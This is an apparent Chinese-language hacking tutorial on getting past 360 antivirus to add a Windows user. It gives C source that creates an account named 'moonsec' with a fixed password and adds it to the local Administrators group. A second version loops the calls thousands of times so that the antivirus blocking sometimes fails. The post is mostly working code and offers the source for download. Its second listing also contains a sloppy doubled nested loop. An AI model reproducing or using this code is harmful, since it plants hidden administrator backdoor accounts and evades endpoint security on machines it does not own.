绕过360杀软添加用户
一、前言正常执行添加命令 net user moonsec /add 拦截
二、代码准备添加用户的代码 - #define _CRT_SECURE_NO_WARNINGS
- #ifndef UNICODE
- #define UNICODE
- #endif
- #pragma comment(lib, "netapi32.lib")
- #include <stdio.h>
- #include <windows.h>
- #include <lm.h>
- int wmain(int argc, wchar_t* argv[])
- {
- USER_INFO_1 ui;
- DWORD dwLevel = 1;
- DWORD dwError = 0;
- NET_API_STATUS nStatus;
- wchar_t username[256] = L"moonsec";
- wchar_t password[256] = L"P@ssw0rd";
- ui.usri1_name = username;
- ui.usri1_password = password;
- ui.usri1_priv = USER_PRIV_USER;
- ui.usri1_home_dir = NULL;
- ui.usri1_comment = NULL;
- ui.usri1_flags = UF_SCRIPT;
- ui.usri1_script_path = NULL;
- nStatus = NetUserAdd(NULL,
- dwLevel,
- (LPBYTE)&ui,
- &dwError);
- if (nStatus == NERR_Success)
- fwprintf(stderr, L"User %s has been successfully added\n", argv[1]);
- else
- fprintf(stderr, "A system error has occurred: %d\n", nStatus);
- LOCALGROUP_MEMBERS_INFO_3 account;
- account.lgrmi3_domainandname = argv[1];
- NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
- if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS) {
- printf("Administrators added Successfully!");
- }
- else {
- printf("Administrators added Failed!");
- }
- return 0;
- }
复制代码这段代码编译的文件 执行还是会拦截的 可以添加for循环让程序一直添加用户。360有时候会拦截失效 代码 - #define _CRT_SECURE_NO_WARNINGS
- #ifndef UNICODE
- #define UNICODE
- #endif
- #pragma comment(lib, "netapi32.lib")
- #include <stdio.h>
- #include <windows.h>
- #include <lm.h>
- int wmain(int argc, wchar_t* argv[])
- {
- USER_INFO_1 ui;
- DWORD dwLevel = 1;
- DWORD dwError = 0;
- NET_API_STATUS nStatus;
- wchar_t username[256] = L"moonsec";
- wchar_t password[256] = L"P@ssw0rd";
- ui.usri1_name = username;
- ui.usri1_password = password;
- ui.usri1_priv = USER_PRIV_USER;
- ui.usri1_home_dir = NULL;
- ui.usri1_comment = NULL;
- ui.usri1_flags = UF_SCRIPT;
- ui.usri1_script_path = NULL;
- for (size_t i = 0; i < 9999; i++)
- {
- nStatus = NetUserAdd(NULL,
- dwLevel,
- (LPBYTE)&ui,
- &dwError);
- for (size_t i = 0; i < 9999; i++)
- {
- nStatus = NetUserAdd(NULL,
- dwLevel,
- (LPBYTE)&ui,
- &dwError);
- if (nStatus == NERR_Success)
- fwprintf(stderr, L"User %s has been successfully added\n", ui.usri1_name);
- else
- fprintf(stderr, "error has occurred: %d\n", nStatus);
- LOCALGROUP_MEMBERS_INFO_3 account;
- account.lgrmi3_domainandname = ui.usri1_name;
- NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
- }
-
- }
- return 0;
- }
复制代码终端上运行 360会产生大量拦截,但是还是会添加用户
源码下载
|